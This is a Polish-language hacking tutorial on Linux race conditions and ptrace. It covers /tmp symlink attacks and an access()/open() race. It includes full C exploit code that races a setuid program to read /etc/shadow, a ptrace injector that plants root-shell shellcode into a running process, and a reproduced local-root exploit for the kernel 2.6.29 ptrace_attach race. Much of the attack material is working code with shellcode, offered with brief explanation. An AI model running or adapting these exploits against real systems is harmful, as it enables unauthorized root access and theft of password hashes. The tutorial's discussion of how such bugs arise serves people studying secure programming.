Linux - race conditions & ptrace
-------------------------------------------------------------------------------
LINUX - RACE CONDITIONS & PTRACE by t0m_k
-------------------------------------------------------------------------------
0x00 - Co to ?
0x01 - Wprowadzenie
0x02 - Pliki tymczasowe
0x03 - Ptrace injection
0x04 - kernel 2.6.29 ptrace_attach() local root race condition exploit
0x05 - References
-------------------------------------------------------------------------------
0x00 - Co to ?
-------------------------------------------------------------------------------
Race conditions, sa to tak zwane sytuacje wyscigu, majace miejsce gdy kilka
niezsynchronizowanych watkow lub procesow korzysta z jednego zasobu w tym
samym czasie.
Zasobem moze byc plik z danymi, baza danych, czy nawet jakas zmienna.
Z race conditions mozemy sie spotkac na kazdej platformie, wykorzystujacej
wielozadaniowosc.
Bledy tego typu charakteryzuja sie dosyc zadka wykrywalnoscia, w porownaniu do
typowych buffer overfow, czy format string, mimo ze sa znane od kilku ladnych
lat.
Do przeprowadzenia ataku na podatny program, zawierajacy taki blad potrzebne
jest troche wiedzy i umiejetnosci programistycznych, a co dopiero do wykrycia
takiego bledu w jadrze systemu.
W tym tekscie przedstawie kilka sytuacji, raczej nie zblizonych zlozonoscia
do tych prawdziwych, ale mam nadzieje ze po przeczytaniu calosci bedziecie
wiedziec na czym polegaja bledy race conditions oraz bedziecie mieli
podstawy do zabezpieczenia swoich programow przynajmniej przed tymi bledami.
To czy nasz program bedzie bezpieczny zalezy tylko i wylacznie od nas, wiec
warto wiedziec, ze rzeczywiscie cos takiego istnieje.
-------------------------------------------------------------------------------
0x01 - Wprowadzenie
-------------------------------------------------------------------------------
Sucha teoria tak naprawde ma niewiele wspolnego z praktyka, wiec na poczatek
przyklad, ktory nastepnie przeanalizujemy.
///////////////////////////////////////////////////////////////////////////////
/* vuln1.c - gcc vuln1.c -o vuln1 */
#include
#include
int main(void) {
pid_t child;
char *str;
setbuf(stdout, NULL); /* wylaczamy buforowanie */
switch(child = fork()) {
case 0: /* rodzic */
str = "11111111111111111111111";
break;
default: /* potomek */
str = "----\n2222\n----";
}
/* wypisujemy tekst, zalezny od procesu */
fprintf(stdout, "%s\n", str);
return 0;
}
///////////////////////////////////////////////////////////////////////////////
Na poczatek wylaczamy buforowanie standardowego wyjscia za pomoca funkcji
setbuf(). Daje nam to tyle, ze ciag znakow nie zostanie zakolejkowany, tylko
od razu wypisany na ekran, co pozwala nam zaobserwowac pewne anomalie.
Glownym zadaniem programu jest utworzenie procesu potomnego, a nastepnie w
zaleznosci od tego, czy aktualnie wykonywany jest proces rodzic, czy potomek
str wskazuje na ktorys ciag znakow.
Funkcja fork() tworzy nowy proces na podstawie biezacego procesu, oraz nowemu
procesowi przypisuje identyfikator(pid) rodzica, a rodzicowi pid 0, co
pozwala nam odroznic oba procesy za pomoca funkcji switch();
Kolejnym zadaniem obu procesow jest wypisanie na standardowe wyjscie owego
tekstu.
Uruchamiajac ten program kilkakrotnie mozemy zaobserwowac anomalie, a
mianowicie czasami dane wypisywane sa na wyjscie w teoretycznie zlej kolejnosci.
Jest to spowodowane sama implementacja wielozadaniowosci w systemie Linux.
Mozna tego uniknac stosujac funkcje wait() lub waitpid(), ktore pozwola zaczekac
na zakonczenie lub zmiane stanu drugiego procesu.
W obecnych systemach operacyjnych niestety mozemy dluzej oczekiwac wystapienia
anomali, dlatego tez dobrze by bylo stworzyc ku temu sprzyjajace warunki.
Pomocna do tego bedzie metoda brute force, za pomoca ktorej uruchomimy
ten program tyle razy ile chcemy, oprocz niej nie zaszkodzi takze obciazyc
troche systemu, wlaczajac w miedzy czasie gimp'a, open office, amarok, emacs,
czy jakies inne programy,
Ponizej program, ktory ulatwi nam obserwacje.
///////////////////////////////////////////////////////////////////////////////
/* brute1.c - gcc brute1.c -o brute1 */
#include
int main(void) {
int i;
for(i = 0; i < 1000; i++)
system("./vuln");
return 0;
}
///////////////////////////////////////////////////////////////////////////////
Napewno teraz juz kazdy zauwazyl nieprawidlowosci i zadaje sobie pytanie
co to ma byc i do czego mi to ?
Odpowiedz jest prosta, tak naprawde powyzszy przyklad mial tylko pokazac, ze
cos takiego istnieje i mamy z tym do czynienia na codzien.
Oczywiscie nie wykorzystamy tego programu do zdobycia uprawnien root'a, czy
namieszania w jego plikach z poziomu konta uzytkownika, ale wyobrazcie sobie
sytuacje, w ktorej w podobny sposob zapisywane sa wazne dane do jakiegos pliku
i w koncu wystapi anomalia, ktora spowoduje zapisanie zlych danych.
W kazdym razie nie ciekawie by to wygladalo, dlatego tez lepiej sie ustrzec.
Powyzszy przyklad dotyczy bedow race condition bez udzialu obcego procesu
oraz przypadkowych sytuacji, pojawiajacych sie na skutek nie wiedzy autora
oprogramowania.
-------------------------------------------------------------------------------
0x02 - Pliki tymczasowe
-------------------------------------------------------------------------------
Drugim rodzajem bledow race condition jest sytuacja, w ktorej podatny proces
walczy o pierwszenstwo z procesem napastnika.
W wielu przypadkach wygrana napastnika moze doprowadzic do przejecia kontroli
nad systemem.
Pliki tymczasowe przechowywane sa w katalogu /tmp, do ktorego dostep ma
administrator jak rowniez uzytkownicy. Kazdy moze sobie tworzyc tam co zechce.
Konsekwencja tego rodzaju zarzadzania /tmp sa rozne bledy, wydawaloby sie
ze nie spowodowane przez autora aplikacji, korzystajacej z tych plikow, a jednak.
Pierwszy przyklad.
///////////////////////////////////////////////////////////////////////////////
/* tmp1.c gcc tmp1.c -o tmp1 */
#include
#include
#include
#include
#include
#include
#define PATH "/tmp/bolec"
int main(int argc, char *argv[]) {
int fd;
char *bufor;
if(argc != 2) {
printf("usage: %s \n", argv[0]);
return -1;
}
bufor = (char*)malloc(strlen(argv[1]));
strcpy(bufor, argv[1]);
fd = open(PATH, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR);
write(fd, bufor, strlen(bufor));
free(bufor);
close(fd);
return 0;
}
///////////////////////////////////////////////////////////////////////////////
Zauzmy, ze ten kod nalezy do root'a, a my nie mamy zadnych praw do niego.
Zadaniem programu jest zapisanie podanego zdania do pliku /tmp/bolec i tak
naprawde mozna powiedziec, ze na tym jego rola sie konczy.
Aplikacja sprawdza czy plik istnieje i jesli nie istnieje to go tworzy, lecz
w przypadku gdy plik istnieje nie sprawdza czy jest to rzeczywiscie plik w
katalogu /tmp, czy tylko dowiazanie o takiej samej sciezce, wskazujace
przykladowo na /boot/grub/menu.lst.
Gdybysmy stworzyli zwykle dowiazanie miekie(symboliczne) do /etc/shadow
w katalogu /tmp o nazwie bolec przed uruchomieniem aplikacji przez
wlasciciela(root'a) to program po uruchomieniu, zapisalby dane do /etc/shadow,
a nie do bolca, poniewaz open podaza za dowiazaniem oraz root ma prawo do
zapisu w tym pliku.
Tego typu aplikacje z pozoru nie wrazliwe na jakikolwiek atak sa niestety
czesto narzedziem wykorzystywanym do przejecia systemu.
Przejdzmy do czegos innego, czyli klasyczny przyklad race condition.
///////////////////////////////////////////////////////////////////////////////
/* vuln2.c gcc vuln2.c -o vuln2 */
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[]) {
int fd, size;
struct stat sbuf;
char *bufor;
if(argc != 2) {
printf("usage: %s \n", argv[0]);
return -1;
}
if(!access(argv[1], R_OK))
fd = open(argv[1], O_RDONLY, 0);
else {
perror("");
exit(-1);
}
fstat(fd, &sbuf);
size = sbuf.st_size;
bufor = (char*)malloc(size);
read(fd, bufor, size);
printf("%s\n", bufor);
free(bufor);
close(fd);
return 0;
}
///////////////////////////////////////////////////////////////////////////////
W tym przykladzie widzimy, ze aplikacja sprawdza, czy uzytkownik ma prawo
odczytu podanego pliku, jesli ma to zostaje utworzony nowy deskryptor do tego
pliku. Funkcja access sprawdza obowiazujacy uid, nie rzeczywisty.
Nastepnie pobierany jest rozmiar pliku, tworzony jest bufor na plik o jego
rozmiarze, poczym plik zostaje zapisany do bufora, az w koncu na standardowe
wyjscie zostaje wypisana zawartosc bufora.
Natomiast, jesli uzytkownik nie ma prawa odczytu, zostanie wyswietlony blad
i program zakonczy dzialanie.
Bledem tego programu jest nie wlasciwe uzycie funkcji access i open, poniewaz
nie ma zadnej gwarancji ze po sprawdzeniu, czy osoba uruchamiajaca aplikacje
ma prawo do odczytu, plik o ktory prosi nie zostanie zmieniony.
Daje nam to mozliwosc ataku.
Po kompilacji programu nadajmy mu uprawnienia root'a oraz ustawmy bit suid:
root@xxx$ chown root:root ./vuln2
root@xxx$ chmod +s ./vuln2
Stworzmy jeszcze pusty plik.
$ touch link
Od razu dam kod dwoch, powiedzmy "exploitow", za pomoca ktorych ujrzymy
zawartosc pliku /etc/shadow.
///////////////////////////////////////////////////////////////////////////////
/* sym.c gcc sym.c -o sym */
#include
int main(int argc, char *argv[]) {
while(1) {
symlink("/etc/shadow", "haha");
unlink("haha"); /* kasuje dowiazanie */
symlink("link", "haha");
unlink("haha");
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////
Program sym tworzy dowiazanie o nazwie haha do pliku /etc/shadow, a nastepnie
do pustego pliku link, ktorego mamy prawo przegladac.
///////////////////////////////////////////////////////////////////////////////
/* run.c gcc run.c -o run */
#include
int main(void) {
while(1)
system("./vuln2 haha >> bob");
return 0;
}
///////////////////////////////////////////////////////////////////////////////
Z koleji program run uruchamia program vuln2 z parametrem, bedacym nazwa
dowiazania utworzonego przez sym, przekierowywujac wyjscie programu
vuln2 do pliku bob, bez nadpisywania go.
Jedyna wada zastosowania takiej metody ataku jest fakt, iz plik bob moze caly
czas rosnac o wartosci zerowe.
Uruchamiamy oba programy na dwoch roznych terminalach i czekamy, az w pliku
bob znajdzie sie zawartosc /etc/shadow.
Jestesmy wstanie ujrzec w ten sposob zawartosc pliku hasel, poniewaz predzej
czy pozniej program run uruchomi vuln2, tak ze po sprawdzeniu przez vuln2 praw do
odczytu zmieni sie dowiazanie na /etc/shadow i to wlasnie ten plik zostanie
odczytany przez program, dzialajacy z ustawionym bitem suid :)
-------------------------------------------------------------------------------
0x03 - Ptrace injection
-------------------------------------------------------------------------------
Ptrace jest wywolaniem systemowym umozliwiajacym sledzenie i kontrolowanie
procesow. Umozliwia nam podarzanie za syscallami, podczepianie sie pod juz
uruchomione procesy, edycje rejestrow i tym podobne ciekawe rzeczy.
Do korzystania z ptrace() w swoich programach wymagane jest dolaczenie pliku
naglowkowego sys/ptrace.h.
Prototyp ptrace() wyglada nastepujaco:
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
Argument *data jest wskaznikiem na dane, ktore chcemy umiescic pod adresem
wskazywanym przez argument *addr lub jest wskaznikiem na bufor, w ktorym
zapiszemy informacje z pod adresu wskazywanego przez *addr.
Te dwa parametry sa zalezne od argumentu request, czyli zadania.
Parametr pid okresla numer pid procesu, ktorego zamierzamy sledzic.
request moze przyjac miedzy innymi takie wartosci, jak:
- PTRACE_ATTACH - sprawdza, czy mamy uprawnienia do sledzenia wybranego
procesu, czy proces nie jest juz sledzony oraz jesli wszystko sie zgadza to
ustawia w nim flage sledzenia.
- PTRACE_DETACH - odlacza nas od sledzonego procesu
- PTRACE_PEEKTEXT - zapisuje slowo danych pod adresem *addr w przestrzeni
adresowej sledzonego procesu.
- PTRACE_GETREGS - wypelnia strukture user_regs_struct.
- PTRACE_SETREGS - kopiuje dane ze struktury user_regs_struct do pamieci
sledzonego procesu
- PTRACE_SYSCALL - pozwala zatrzymywac proces przed jakims syscall'em
W racie bledu ptrace() zwraca -1 oraz ustawia zmienna errno.
Struktura user_regs_struct jest zdefiniowana w pliku sys/user.h.
Funkcja ptrace() niestety nie pozwoli nam na sledzenie procesu z ustawionym
bitem suid, dlatego tez na nic nam sie to przyda do ataku na poprzedni program.
Pokaze wam jak mozna za pomoca ptrace() wstrzyknac do przestrzeni adresowej
wybranego procesu swoj kod powloki, poczym mysle ze nie bedziecie mieli problemu
ze znalezieniem zastosowania ptrace() przy wykorzystaniu bledow race conditions.
Najpierw krociotki kod, ktorego nie bede omawial.
///////////////////////////////////////////////////////////////////////////////
/* test.c gcc test.c -o test */
#include
int main(void) {
char znak;
znak = getchar();
return 0;
}
///////////////////////////////////////////////////////////////////////////////
Widzimy, ze oczekuje na jakis znak z klawiatury, wiec w momencie oczekiwania
z latwoscia mozemy sie pod niego podczepic, za pomoca PTRACE_ATTACH.
Po rozpoczeciu sledzenia dowiedzmy sie gdzie jest szczyt stosu(PTRACE_GETREGS).
Nastepnie musimy skopiowac nasz shellcode do pamieci tego procesu. Mozemy
to zrobic za pomoca PTRACE_POKETEXT. Kolejnym krokiem bedzie nadpisanie adresu
powrotnego adresem naszego kodu(PTRACE_SETREGS), a na koniec odlaczymy sie,
wywolujac zadanie PTRACE_DETACH.
Ponizej kod, realizujacy te zalozenia, ktory omowie w komentarzach.
///////////////////////////////////////////////////////////////////////////////
/* ptr.c gcc ptr.c -o ptr */
#include
#include
#include
#include
#include
#include
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90" /* dla pewnosci - */
"\x90\x90\x90\x90\x90\x90\x90\x90" /* nop's */
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" /* setgid(0) */
"\xeb\x22\x5e\x31\xc0\x88\x46\x07"
"\x8d\x1e\x89\x5e\x08\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x01\xcd\x80" /* exit(0) */
"\xe8\xd9\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x4e\x41\x41\x41"
"\x41\x42\x42\x42\x42";
int main(int argc, char *argv[]) {
pid_t pid;
struct user_regs_struct usr;
long *ptr, addr, slowo;
int len, i;
if(argc != 2) {
printf("usage: %s \n", argv[0]);
return 0;
}
/* zapisujemy podany numer pid do zmiennej pid */
pid = atoi(argv[1]);
/* rozpoczynamy sledzenie */
if(ptrace(PTRACE_ATTACH, pid, 0, 0) == -1) {
perror("attach");
exit(-1);
}
/* po PTRACE_ATTACH sledzony proces powinien wstrzymac
dzialanie, lecz aby za dlugo nie czekac wywolujemy wiatpid */
waitpid(pid, 0, WUNTRACED);
/* pobieramy wartosci rejestrow procesora do struktury
user_regs_struct */
ptrace(PTRACE_GETREGS, pid, 0, &usr);
/* wyswietlamy wartosc eip */
printf(" [+] eip vuln2: 0x%lx\n", usr.eip);
len = strlen(shellcode); /* len - dlugosc kodu powloki */
ptr = (long*)shellcode; /* ptr - wskaznik na shellcode */
/* shellcode potem umiescimy na szczycie stosu, wiec
addr bedzie zawieralo adres poczatku kodu powloki */
addr = usr.esp - len;
/* i += 4, poniewaz zmienna typu long ma rozmiar 4 bajty */
for(i = 0; i < len; i +=4 ) {
slowo = *ptr++; /* slowo 4 bajty shellcodu */
/* wypelniamy pamiec sledzonego procesu naszym kodem */
ptrace(PTRACE_POKETEXT, pid, addr+i, slowo);
}
/* zmieniamy wartosc adresu powrotnego w strukturze usr */
usr.eip = addr + 0x2; /* +0x2 z racji wyrownania */
/* zapisujemy zmiany */
ptrace(PTRACE_SETREGS, pid, 0, &usr);
/* konczymy sledzenie i cieszymy sie nowa powloka :) */
ptrace(PTRACE_DETACH, pid, 0, 0);
return 0;
}
///////////////////////////////////////////////////////////////////////////////
-------------------------------------------------------------------------------
0x04 - kernel 2.6.29 ptrace_attach() local root race condition exploit
-------------------------------------------------------------------------------
Na zakonczenie omowie ostatni exploit wykorzystujacy za pomoca ptrace(),
blad race condition w kernelu 2.6.29.
Mam nadzieje, ze po tym omowieniu nikt nie bedzie mial problemow ze zrozumieniem
istoty ptrace() w atakach na tego typu bledy.
///////////////////////////////////////////////////////////////////////////////
/* autor - matthew */
#include
#include
#include
#include
#include
#include
#include
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90"
"\x6a\x23\x58\x31"
"\xdb\xcd\x80"
"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
"\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main() {
pid_t child;
int eip, i = 0;
struct user_regs_struct regs;
char *argv[] = {"mount",0};
char *envp[] = {"",0};
/* tworzymy nowy proces i przypisujemy jego pid do zmiennej child */
child = fork();
if(child == 0) { /* jesli rodzic */
/* uruchom /bin/mount z parametrem mount */
execve("/bin/mount",argv,envp);
} else { /* jesli potomek */
/* probujemy podczepic sie pod program wywolywany przez rodzica */
/* jest to mozliwe poniewaz execve jesli nie zwroci bledu to nic nie zwraca */
/* nastepnie sprawdzamy, czy sie udalo rozpoczac sledzenie */
if(ptrace(PTRACE_ATTACH, child, NULL, NULL) == 0) {
char buf[256]; /* deklaracja bufora */
/* zapisujemy do bufora linie polecen /bin/mount */
sprintf(buf, "/proc/%d/cmdline", child);
/* otwieramy do odczytu program wywolany przez rodzica */
int fd = open(buf, O_RDONLY);
/* czytamy dwa pierwsze bajty z otwartego programu do bufora */
read(fd, buf, 2);
/* zamykamy deskryptor */
close(fd);
/* jesli pierwsza litera, znajdujaca sie w buforze to 'm' to jest dobrze :) */
if(buf[0] == 'm') {
printf("[ WIN! %d\n", child);
fflush(stdout); /* oprozniamy bufor standardowego wyjscia */
/* pobieramy zawartosci rejestrow procesora */
ptrace(PTRACE_GETREGS, child, NULL, ®s);
/* zapisujemy adres powrotny do zmiennej eip */
eip = regs.eip;
while (i < strlen(shellcode)){
/* wypelniamy przestrzen procesu rodzica shellcodem */
/* oraz nadpisujemy adres powrotny, adresem shellcodu, poniewaz to wlasnie od */
/* eip zaczynamy wypelniac rodzica (/bin/mount mount) shellcodem */
ptrace(PTRACE_POKETEXT, child, eip, (int) *(int *) (shellcode + i));
i += 4;
eip += 4;
}
printf("[ Overwritten 0x%x\n",regs.eip);
/* zapisujemy zmiany */
ptrace(PTRACE_SETREGS, child, NULL, ®s);
/* rozlaczamy sie */
ptrace(PTRACE_DETACH, child, NULL,NULL);
usleep(1);
/* czekamy na zakonczenie rodzica i na nowa powloke z uprawnieniami root'a :D */
wait(0);
}
}
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////
To by bylo na tyle ;)
-------------------------------------------------------------------------------
0x05 - References
-------------------------------------------------------------------------------
Niestety wszedzie ubogo jesli chodzi o materialy na temat race conditions, ale
cos tam zawsze sie znajdzie.
http://www.milw0rm.com/exploits/8678
http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html
http://www.linuxjournal.com/article/6100
Oprocz tego w magazynie hakin9 mozemy znalezc artykul o race conditions,
pomysl omowienia exploitu wzialem wlasnie z tej gazety ;p
Autor:t0m_k Czytań: 839 Data publikacji: 2010-05-08 02:05:39
|